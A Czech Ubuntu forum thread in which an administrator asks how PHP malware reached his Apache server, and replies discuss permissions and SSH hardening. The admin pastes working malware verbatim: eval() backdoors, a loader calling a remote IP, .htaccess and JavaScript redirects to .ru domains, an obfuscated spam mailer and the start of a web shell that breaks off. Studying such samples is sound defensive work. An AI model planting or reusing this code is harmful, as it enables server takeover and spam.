Fórum Ubuntu CZ/SK
Ostatní => Ubuntu Server => Téma založeno: On 15 Května 2013, 08:40:28
-
Ahoj,
potřeboval bych poradit v oblasti bezpečnosti webového serveru.
Databáze je zvlášť, takže na infikovaném stroji běží pouze PHP a Apache (+ Bacula, NRPE pro Nagios a jiné nutnosti..). Jedná se o Ubuntu 12.04 LTS, 64bit.
Projel jsem server antivirem clamAV, našel toho hodně, bohužel ani on nezlikvidoval uplně vše.
Resp, možná zničil strůjce problému a pozůstatky už třeba nebyly nebezpečné, těžko říct, nechtěl jsem riskovat a co jsem manuálně našel, to jsem ještě odstranil.
Jak takový útok vypadá?
složka s "prázdným" projektem...
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 ei0dxe0m/
-rw-r--r-- 1 jenkins user 2411 kvě 14 19:25 favicon.php
-rwxr-xr-x 1 jenkins user 858 kvě 13 11:46 index.php*
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 ocz/
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 187f0/
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 34ute/
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 83t/
Tento "projekt" je zaveden pouze v /etc/apache2/sites-enabled a nalinkován do konkrétní složky.
Není tam žádný zdrojový kód, žádný formulář, nic, čím by útočník měl možnost generovat php soubory nebo složky.
Apache mi běží pod uživatelem "jenkins", tudíž plná práva zápisu tam sice jsou, ale kdo nebo co to vytváří, když zvenčí tento projekt vlastně není vidět?
Je to jen prázdná stránka bez jakéhokoliv vstupu.. Je možné, že by se to mohlo rozšířit z jiných projektů, kde tyto vstupy jsou?
Pro zajímavost, obsah index.php generovaný virem je:
<?php $diwehb = "6cab7ff08f9ed96d4cf8c5e93f96dcd7"; if(isset($_REQUEST['accmusz'])) { $fzkxr = $_REQUEST['accmusz']; eval($fzkxr); exit(); } if(isset($_REQUEST['ylahkcs'])) { $wmax = $_REQUEST['zeqt']; $swrno = $_REQUEST['ylahkcs']; $xuqhria = fopen($swrno, 'w'); $uayecrh = fwrite($xuqhria, $wmax); fclose($xuqhria); echo $uayecrh; exit(); }
?>
favicon.php
<?php
error_reporting(0);
ini_set("display_errors", 0);
$remote = 'http://62.109.31.142/request12.php';
php_display($remote);
error_404();
function php_display($url)
{
$query = array();
$query['ip'] = getIp();
$query['time'] = date('d/M/Y:H:i:s', time());
$query['request'] = getRequest();
$query['path'] = getPath();
$query['protocol'] = getProtocol();
$query['useragent'] = getUseragent();
$query['referer'] = getReferer();
$url = $url."?".http_build_query($query);
$content = @file_get_contents($url);
if(empty($content) OR stripos($content, "error") !== FALSE)
{
error_404();
}
// Ïðîâåðÿåì òèï ôàéëà ïî ðàñøèðåíèþ
if( preg_match( '/(?<=\.)(txt|htm|html)(?=\s)/', $content )==1 )
{
$type = 'text/html';
}
else
{
$type = 'application/zip';
header('Content-Disposition: attachment; filename='.$filename);
}
$content = explode("\n", $content);
$filename = array_shift($content);
$content = implode("\n", $content);
header('Content-Type:'.$type);
header('Content-Length: '. strlen($content));
echo $content;
exit();
}
function error_404()
{
header("HTTP/1.1 404 Not Found");
exit("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n"
."<html><head><title>404 Not Found</title></head><body>\r\n"
."<h1>Not Found</h1>\r\n"
."<p>The requested URL was not found on this server.</p>\r\n\t"
."<hr>\r\n"
."</body></html>\r\n");
}
function getRequest()
{
return $_SERVER['REQUEST_METHOD'];
}
function getPath()
{
return $_SERVER['REQUEST_URI'];
}
function getProtocol()
{
return $_SERVER['SERVER_PROTOCOL'];
}
function getUseragent()
{
return $_SERVER['HTTP_USER_AGENT'];
}
function getReferer()
{
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '-';
return $referer;
}
function getIp()
{
$ip = NULL;
if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif(isset($_SERVER['HTTP_CLIENT_IP']))
{
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
elseif(isset($_SERVER['REMOTE_ADDR']))
{
if(strpos($ip, ",") !== FALSE)
{
$ips = explode(",", $ip);
$ip = trim(array_pop($ips));
}
return $ip;
}
?>
.htaccess vytvořený ve všech podsložkách
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*)
RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC]
RewriteCond %{REQUEST_FILENAME} !/index_backup.php
RewriteRule (.*) /index_backup.php?query=$1 [QSA,L]
</IfModule>
další index.php v podsložkách:
<html>
<head>
<script type="text/javascript">
<!--
if(navigator.userAgent.match(/(mobile|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i)!==null){
window.location = "http://slavasesta.ru/l1/?sub_id=3064&dd_id=0";
}iphone
//-->
</script>
<script language="JavaScript"> parent.window.opener.location="http://spilonras.ru/access?key=ecff859bf9322bd2ef08ce6d9db5c1bf";</script>
<meta http-equiv="refresh" content="0;URL=http://filitanst.ru/access?key=5fe715ee4614c8ccb74b3fdefb677496">
<title>Вконтакте</title>
</head>
<body onload="tim()">
<br>
<body>
</body>
</html><?php $xzhtm = "29ad9b5f6aa9b9c4788cf31431a95131"; if(isset($_REQUEST['pbdwvby'])) { $uixfvus = $_REQUEST['pbdwvby']; eval($uixfvus); exit(); } if(isset($_REQUEST['vmen'])) { $pcolwvm = $_REQUEST['tfuu']; $qqkog = $_REQUEST['vmen']; $wekr = fopen($qqkog, 'w'); $duupyhjo = fwrite($wekr, $pcolwvm); fclose($wekr); echo $duupyhjo; exit(); } ?><html>
<head>
<script type="text/javascript">
<!--
if(navigator.userAgent.match(/(mobile|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i)!==null){
window.location = "http://slavasesta.ru/l1/?sub_id=3064&dd_id=0";
}iphone
//-->
</script>
<script language="JavaScript"> parent.window.opener.location="http://spilonras.ru/access?key=ecff859bf9322bd2ef08ce6d9db5c1bf";</script>
<meta http-equiv="refresh" content="0;URL=http://filitanst.ru/access?key=5fe715ee4614c8ccb74b3fdefb677496">
<title>Вконтакте</title>
</head>
<body onload="tim()">
<br>
<body>
</body>
</html>
a jiné ..... Za následek to má to, že se rozesílá ohromné množství spamů. Nainstaloval jsem si tam clamAV, spamassassin, ale nějak se mi nedaří to propojit s postfixem, nicméně to už sem nepatří.
Zde by mě zajímala rada, jak se tento vir dostal na server a to i do projektu, který nemá žádný zdrojový kód???
díky za nápady
-
Kdo může zapisovat sem /etc/apache2/sites-enabled ??? Jestli jen root, pak se někomu mohlo podařit získat právě toto oprávnění.
Na serveru běží projekty... to znamená co? Že tam mají nějaké třetí osoby webhosting?
-
Konkrétně do sites-enabled má právo zápisu ještě jeden třetí strany.
Věrohodná osoba, jde o to, aby neotravovali mě s každým zavedením nové domény, tak si to dělají sami.
drwxrwxr-x 3 root user 4096 kvě 14 21:04 sites-available/
drwxrwxr-x 2 root user 4096 kvě 14 21:04 sites-enabled/
Jedná se v podstatě o webhosting. Vývojová firma má vlastní servery, na kterém jim běží jejich projekty.
Kopírování zdrojových kódů na tento server ale probíhá přes git + jenkins.
Jisté je, že musím upravit práva. Apache by holt neměl mít právo zápisu tam, kam nepotřebuje.
Kdyby tato práva neměl, nemohly by se volně rozkopírovávat viry kam by se jim jen zachtělo..
Ale i tak by mě zajímalo, jakou cestou se to tam dostalo..kde je zdroj toho problému.
-
Těžko takhle říct. Například mohou mít oni napadený stroje. Nakopírujou špatný kód a ejhle... apache má právo zápisu a už to jede. Nebo jim někdo mohl odcizit ten účet přes, který si to tam nastavují sami a zase je problém. Nejhorší možnou variantou je, že někdo šlohl roota.
-
To se doufám nestalo...resp nenapadá mě způsob jak.
Heslo na roota má cca 17 znaků, je to naprostý mish mash znaků všeho druhu a heslo vím na celém světě jen já..resp, nikomu jsem ho neříkal :)
Nevím, jakou jinou dírou by se někdo tohoto hesla mohl zmocnit.
Tohle byl evidentně útok robotů, ale hodně solidní..rozmnožilo se to jak....no jak vir :))
Nejen, že si vytváří různé složky, soubory kde se mu zachce (vždy teda ve webových projektech..nikdy ne mimo něj. Vše, co je vytvořeno se děje uvnitř projektů), ale také edituje již existující soubory a na začátek si tam vloží svůj kód...a to mi clamAV nenajde. Musel jsem si udělat skript, který na základě jednoznačného řetězce vyhledá všechny soubory, které tento řetězec obsahují a smaže vše co tam nepatří..
Celkem prekér..
-
To se doufám nestalo...resp nenapadá mě způsob jak.
Heslo na roota má cca 17 znaků, je to naprostý mish mash znaků všeho druhu a heslo vím na celém světě jen já..resp, nikomu jsem ho neříkal :)
Nevím, jakou jinou dírou by se někdo tohoto hesla mohl zmocnit.
Jednoduše. Pokud se přihlašuješ přes SSH heslem a ne klíčem, tak je možné heslo odposlechnout. Doporučil bych hesla preventivně změnit a povolit jen přihlašování klíči. Ty bych taky doporučil změnit. Pokud by se totiž přihlašoval hacker klíčem a ne heslem, tak samotná změna hesla nepomůže, protože to hacker obejde přihlášením přes klíč. Dále zakázat přihlašování roota. Kdo chce roota, tak aby se přihlásil nejprve jako user a pak až jako root. Pak jsou nějaké ty programy, které zvyšují bezpečnost - fail2ban, denyhosts, ...
http://www.root.cz/clanky/jak-se-prihlasovat-na-ssh-bez-zadavani-hesla/
-
Ano, přesně tak to mám..
přihlašuji se na tento server výhradně klíči a ubuntu má defaultně účet root vypnutý. Takže vždy se hlásím na sebe a z něj pak na roota.
Mám také zprovozněný denyhosts, myslím si, že na SSH jsem možná až paranoidní, po 5ti neúspěšných pokusech je to ban na danou IP.
SSH mám navíc i na nestandartním portu, který znám opět jen já.
Na infikovaný server jsou NATem propuštěny pouze 3 porty... je to webový server, takže 80, 443 a + nestandartní SSH port.
SSH si myslím, že nikdo nenapadnul. Na roota se navíc dá dostat pouze přes uživatele, který musí mít sudo oprávnění (sudo -i) a přes "su -" se neprivilegiovaný uživatel také nedostane. A root jsem pouze já. SSH bych z 99% vyloučil. Podle mě se tam dostal z nějaké holt špatně zabezpečené webové aplikace...nebo využití chyby v apache nebo tak něco..
EDIT: na testovacím serveru mi ssh běží na standartním portu a /etc/hosts.deny má již 337 BANů...což je celkem normální, roboti to zkouší. Na produkčním, kde je port nestandartní není BAN ani jeden. I když se dívám do /var/log/auth.log, tak žádný pokus o neexistující jména neproběhnul. Za to na testu to zkouší na roota pořád, ale denyhosts funguje opravdu znamenitě...ssh na produkci je podle mě čisté jak lilie
-
To se doufám nestalo...resp nenapadá mě způsob jak.
Heslo na roota má cca 17 znaků, je to naprostý mish mash znaků všeho druhu a heslo vím na celém světě jen já..resp, nikomu jsem ho neříkal :)
Nevím, jakou jinou dírou by se někdo tohoto hesla mohl zmocnit.
Jednoduše. Pokud se přihlašuješ přes SSH heslem a ne klíčem, tak je možné heslo odposlechnout.
Co to je za blbost ;D Už samotný SSH má komunikaci zašifrovanou... tj. i když napíšu heslo a nepoužiju klíče, tak na síti to je už zašifrované.
PS: nejspíš přes tu webovou aplikaci to tam protlačili... nebo někomu ukradli FTPko (pokud tam běží).
-
To se doufám nestalo...resp nenapadá mě způsob jak.
Heslo na roota má cca 17 znaků, je to naprostý mish mash znaků všeho druhu a heslo vím na celém světě jen já..resp, nikomu jsem ho neříkal :)
Nevím, jakou jinou dírou by se někdo tohoto hesla mohl zmocnit.
Jednoduše. Pokud se přihlašuješ přes SSH heslem a ne klíčem, tak je možné heslo odposlechnout.
Co to je za blbost ;D Už samotný SSH má komunikaci zašifrovanou... tj. i když napíšu heslo a nepoužiju klíče, tak na síti to je už zašifrované.
Cituji: http://www.root.cz/clanky/jak-se-prihlasovat-na-ssh-bez-zadavani-hesla/
Proč používat klíče
Autentizace obecně slouží k tomu, abychom počítači dokázali, že jsme ten uživatel, za kterého se prohlašujeme. Nejčastějším nástrojem autentizace je heslo. To má ale v praktickém životě několik nevýhod: dá se (často) uhodnout, mělo by být složité, musíte si jej pamatovat a hlavně je možné jej odposlechnout. Kompromitovaný SSH server tak může například sledovat, co píšete na klávesnici a na který další počítač se přihlašujete. Navíc pokud používáte jedno extra složité heslo na více strojích, má útočník přístup ke všem.
Samotná SSH komunikace běží šifrovaně, kámenem úrazu je posílání toho hesla. Do doby, dokud není autentizováno SSH spojení, tak heslo prostě lze odchytit. Naštěstí to tedy nebude tento případ.
-
PS: nejspíš přes tu webovou aplikaci to tam protlačili... nebo někomu ukradli FTPko (pokud tam běží).
Takové historické a docela nebezpečné věci už na produkcích neprovozuji :)..FTP tam také není.
Proto se ten okruh hodně zužuje...alespoň co se týká služeb.
Navíc soubory, které označuji jako vir jsou vytvořeny uživatelem "jenkins", což je uživatel, kterého využívá apache + samotný jenkins = pouze tyto dvě služby.
Jenkins ale běhá navíc lokálně (tato služba ale využívá té výborné a všemi "opěvované" Javy). Je ovládaný sice přes http, ale nedělá nic jiného,než že si sáhne do gitu a z gitu to "překopne" do cílového uložiště (testovací nebo produkční server).
Jedině, že by už v gitu byl tento projekt zavirovaný. Čili dostal se tam od někoho, kdo do gitu tento projekt dával..Ale není to moc pravděpodobné. Vývojáři vyvíjí u sebe na lokálu a složek s názvem "g654dg" a jiných by si asi všimli..ale i tuto variantu nelze uplně vyloučit. Těžko říct, jak se ten vir šíří...pač je to téměř ve všech projektech. Jestli mu stačí být v jednom a on si "nějak" zjistí, že v apachi jsou definované takové a takové projekty a do všech to nasype automaticky...
Víte co je ještě zajímavé? Většinou je název složky shodný s projektem, tzn projekt "nevim.cz" má složku shodnou, tzn "nevim.cz".
A ten vir udělá i to (jen ale u některých projektů...ikdyž možná by to časem udělal u všech, těžko hádat...), že vytvoří tu samou složku bez toho ".cz", tzn vytvoří složku "nevim" a do ní podstrčí ty svoje zavirované skripty. Takže výpis "ls -l" pak vypadal třeba takhle:
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 nevim/
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 nevim.cz/
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 dalsi_projekt/
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 dalsi_projekt.cz/
...s tím, že bez toho ".cz" je pouze složka s viry, tam apache vůbec nesahá. Možná je to jen nějaká mateřská složka pro šíření :) Ale samozřejmě nebylo opomenuto naházet viry i do složek s "*.cz", pro sychr :)) Jako dobrý vir...ten mi hodně zatopil a pořád to nemám vyřešené...
Ale vsázím prostě na nějakou díru webu...jenže je jich tam kolem 60ti a hledejte v konkrétním webu, kudy se tam mohl dostat...no, prozatím si vymakám svoje skripty, které ty viry najdou a budu je schopen nějak automatizovaně likvidovat. Antivir je na tohle krátký..
-
Neposílá se heslo v plaintextu. Když se připojuješ poprvé, tak se před zadáním jména + hesla vygenerují klíče, ty je odsouhlasíš a teprve potom se můžeš přihlašovat.
-
Hmm, co jsem to ale našel...přímo v gitu po deploy jsem našel zažrané dva skripty..
statistics55eh.php
<?php
@error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); if (count($_POST) < 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); } $v5031e998 = false; foreach (array_keys($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) { case chr(108): $vd56b6998 = $v3c6e0b8a; break; case chr(100): $v8d777f38 = $v3c6e0b8a; break; case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; case chr(101); $v5031e998 = true; break; } } if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321)); $v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); $v01b6e203 = @$_POST[$vd56b6998]; $v8d777f38 = @$_POST[$v8d777f38]; $v3d26b0b1 = @$_POST[$v3d26b0b1]; if ($v5031e998) { $v01b6e203 = n9a2d8ce3($v01b6e203); $v8d777f38 = n9a2d8ce3($v8d777f38); $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); } $v01b6e203 = urldecode(stripslashes($v01b6e203)); $v8d777f38 = urldecode(stripslashes($v8d777f38)); $v3d26b0b1 = urldecode(stripslashes($v3d26b0b1)); if (strpos($v01b6e203, '#',1) != false) { $v16a9b63f = preg_split('/#/', $v01b6e203); $ve2942a04 = count($v16a9b63f); } else { $v16a9b63f[0] = $v01b6e203; $ve2942a04 = 1; } for ($v865c0c0b=0; $v865c0c0b < $ve2942a04;$v865c0c0b++) { $v01b6e203 = $v16a9b63f[$v865c0c0b]; if ($v01b6e203 == '' || !strpos($v01b6e203,'@',1)) continue; if (strpos($v01b6e203, ';', 1) != false) { list($va3da707b, $vbfbb12dc, $v081bde0c) = preg_split('/;/',strtolower($v01b6e203)); $va3da707b = ucfirst($va3da707b); $vbfbb12dc = ucfirst($vbfbb12dc); $v3a5939e4 = next(explode('@', $v081bde0c)); if ($vbfbb12dc == '' || $va3da707b == '') { $vbfbb12dc = $va3da707b = ''; $v01b6e203 = $v081bde0c; } else { $v01b6e203 = "\"$va3da707b $vbfbb12dc\" <$v081bde0c>"; } } else { $vbfbb12dc = $va3da707b = ''; $v081bde0c = strtolower($v01b6e203); $v3a5939e4 = next(explode('@', $v01b6e203)); } preg_match('|<USER>(.*)</USER>|imsU', $v8d777f38, $vee11cbb1); $vee11cbb1 = $vee11cbb1[1]; preg_match('|<NAME>(.*)</NAME>|imsU', $v8d777f38, $vb068931c); $vb068931c = $vb068931c[1]; preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $v8d777f38, $vc34487c9); $vc34487c9 = $vc34487c9[1]; preg_match('|<SBODY>(.*)</SBODY>|imsU', $v8d777f38, $v6f4b5f42); $v6f4b5f42= $v6f4b5f42[1]; $vc34487c9 = str_replace("%R_NAME%", $va3da707b, $vc34487c9); $vc34487c9 = str_replace("%R_LNAME%", $vbfbb12dc, $vc34487c9); $v6f4b5f42 = str_replace("%R_NAME%", $va3da707b, $v6f4b5f42); $v6f4b5f42 = str_replace("%R_LNAME%", $vbfbb12dc, $v6f4b5f42); $v0897acf4 = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']); if (ne667da76($v0897acf4) || @ini_get('safe_mode')) $v10497e3f = false; else $v10497e3f = true; $v9a5cb5d8 = "$vee11cbb1@$v0897acf4"; if ($vb068931c != '') $vd98a07f8 = "$vb068931c <$v9a5cb5d8>"; else $vd98a07f8 = $v9a5cb5d8; $vb8ddc93f = "From: $vd98a07f8\r\n"; $vb8ddc93f .= "Reply-To: $vd98a07f8\r\n"; $v3c87b187 = "X-Priority: 3 (Normal)\r\n"; $v3c87b187 .= "MIME-Version: 1.0\r\n"; $v3c87b187 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"; $v3c87b187 .= "Content-Transfer-Encoding: 8bit\r\n"; if (!in_array('mail', $v619d75f8)) { if ($v10497e3f) { if (@mail($v01b6e203, $vc34487c9, $v6f4b5f42, $vb8ddc93f.$v3c87b187, "-f$v9a5cb5d8")) { echo(chr(79).chr(75).md5(1234567890)."+0\n"); continue; } } else { if (@mail($v01b6e203, $vc34487c9, $v6f4b5f42, $v3c87b187)) { echo(chr(79).chr(75).md5(1234567890)."+0\n"); continue; } } } $v4340fd73 = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $vb8ddc93f; $v4340fd73 .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$v0897acf4>\r\n"; $v4340fd73 .= "To: $v01b6e203\r\n"; $v4340fd73 .= "Subject: $vc34487c9\r\n"; $v4340fd73 .= $v3c87b187; $v841a2d68 = $v4340fd73."\r\n".$v6f4b5f42; if ($v3d26b0b1 == '') $v3d26b0b1 = n9c812bad($v3a5939e4); if (($vb4a88417 = n7b0ecdff($v9a5cb5d8, $v081bde0c, $v841a2d68, $v0897acf4, $v3d26b0b1)) == 0) { echo(chr(79).chr(75).md5(1234567890)."+1\n"); continue; } else { echo PHP_OS.chr(50).chr(48).'+'.md5(0987654321)."+$vb4a88417\n"; } } function ne667da76($v957b527b){ return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $v957b527b); } function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685="=\r\n", $v92f21a0f = 0, $v3303c65a = false) { $vf5a8e923 = strlen($vb45cffe0); $vb4a88417 = ''; for($v865c0c0b = 0; $v865c0c0b < $vf5a8e923; $v865c0c0b++) { if ($v11a95b8a >= 75) { $v11a95b8a = $v92f21a0f; $vb4a88417 .= $v7fa1b685; } $v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]); if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) { if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) { $vb4a88417.=chr($v4a8a08f0); $v11a95b8a = 0; continue; } $vb4a88417 .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT); $v11a95b8a += 3; continue; } $vb4a88417 .= chr($v4a8a08f0); $v11a95b8a++; } return $vb4a88417; } function n7b0ecdff($vd98a07f8, $v01b6e203, $v841a2d68, $v0897acf4, $v3d26b0b1) { global $v619d75f8; if (!in_array('fsockopen', $v619d75f8)) $v66b18866 = @fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array('pfsockopen', $v619d75f8)) $v66b18866 = @pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array('stream_socket_client', $v619d75f8) && function_exists("stream_socket_client")) $v66b18866 = @stream_socket_client("tcp://$v3d26b0b1:25", $v70106d0d, $v809b1abe, 20); else return -1; if (!$v66b18866) { return 1; } else { $v8d777f38 = n54070395($v66b18866); @fputs($v66b18866, "EHLO $v0897acf4\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "2+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "MAIL FROM:<$vd98a07f8>\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "3+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "RCPT TO:<$v01b6e203>\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 && substr($ve98d2f00, 0, 3) != 251) return "4+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "DATA\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 354 ) return "5+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, $v841a2d68."\r\n.\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "6+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "QUIT\r\n"); @fclose($v66b18866); return 0; } } function n54070395($v66b18866) { $v8d777f38 = ''; while($v341be97d = @fgets($v66b18866, 4096)) { $v8d777f38 .= $v341be97d; if(substr($v341be97d, 3, 1) == ' ') break; } return $v8d777f38; } function n9c812bad($vad5f82e8) { global $v619d75f8; if (!in_array('getmxrr', $v619d75f8) && function_exists("getmxrr")) statistics55eh.php{ @getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816); if (count($v744fa43b) === 0) return '127.0.0.1'; $v865c0c0b = array_keys($v6c5ea816, min($v6c5ea816)); return $v744fa43b[$v865c0c0b[0]]; } else { return '127.0.0.1'; } } function n9a2d8ce3($v1cb251ec) { $v1cb251ec = base64_decode($v1cb251ec); $vc68271a6 = ''; for($v865c0c0b = 0; $v865c0c0b < strlen($v1cb251ec); $v865c0c0b++) $vc68271a6 .= chr(ord($v1cb251ec[$v865c0c0b]) ^ 2); return $vc68271a6; } ?>
V6info.php
<?php
if(!empty($_SERVER['HTTP_USER_AGENT'])) { $v2045f746 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "StackRambler"); if(preg_match('/' . implode('|', $v2045f746) . '/i', @$_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); if(@get_magic_quotes_gpc()) $_POST = n0182dfe8($_POST); $v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); define("DEFAULT_DIR_DEEP_BACK","3"); if(isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']); if(isset($_POST['p3'])) $_POST['p3'] = urldecode($_POST['p3']); if(@$_POST['p2']=='download') { if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=".@basename($_POST['p1'])); if (function_exists("mime_content_type")) { $v599dcce2 = @n85ced157($_POST['p1']); header("Content-Type: " . $v599dcce2); } else header("Content-Type: application/octet-stream"); $v0666f0ac = @fopen($_POST['p1'], "r"); if($v0666f0ac) { while(!@feof($v0666f0ac)) echo @fread($v0666f0ac, 1024); @fclose($v0666f0ac); } } exit; } elseif (@$_POST['p2']=='delete') { if (@is_dir($_POST['p1'])) @n46aa46af($_POST['p1']); else @unlink($_POST['p1']); } elseif (@$_POST['p2']=='chmod') { $v58f57b98 = 0; for($v865c0c0b=strlen($_POST['p1'])-1;$v865c0c0b>=0;--$v865c0c0b) $v58f57b98 += (int)$_POST['p3'][$v865c0c0b]*pow(8, (strlen($_POST['p3'])-$v865c0c0b-1)); if(!@chmod($_POST['p1'], $v58f57b98)) echo 'Can\'t set permissions!<br>'; } elseif (@$_POST['p2']=='mkdir') { if(!@mkdir($_POST['p1'])) echo 'Can\'t create new dir<br><script>document.mf.p3.value="";</script>'; } elseif (@$_POST['p2']=='uploadFile') { if(!@move_uploaded_file(@$_FILES['f']['tmp_name'], $_POST['p3'].@$_FILES['f']['name'])) echo 'Can\'t upload file!<br><script>document.mf.p3.value="";</script>'; } if (isset($_REQUEST['sf']) and $_REQUEST['sf']==0) $v2e0a881e = false; else $v2e0a881e = true; if (isset($_REQUEST['showro']) and $_REQUEST['showro']==0) $v8a40bf93 = false; else $v8a40bf93 = true; echo "
<html>
<style>
body{background-color:#000028;color:#e1e1e1;}
body,td,th{ border:1px outset black;font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ border-left:5px solid #df5;color:#fff;background-color:#000028; }
span,h1,a{ color: #df5 !important; }
span{ font-weight: bolder; }
div.content{ padding: 7px;margin-left:7px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
input{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#003300;}
.main tr:hover{border:2px outset gray;;background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var p1_ = '".((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars(@$_POST['p1'],ENT_QUOTES))."';
var p2_ = '".((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars(@$_POST['p2'],ENT_QUOTES))."';
var p3_ = '".((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars(@$_POST['p3'],ENT_QUOTES))."';
var d = document;
function set(p1,p2,p3) {
if(p1!=null)d.fm.p1.value=p1;else d.fm.p1.value=p1_;
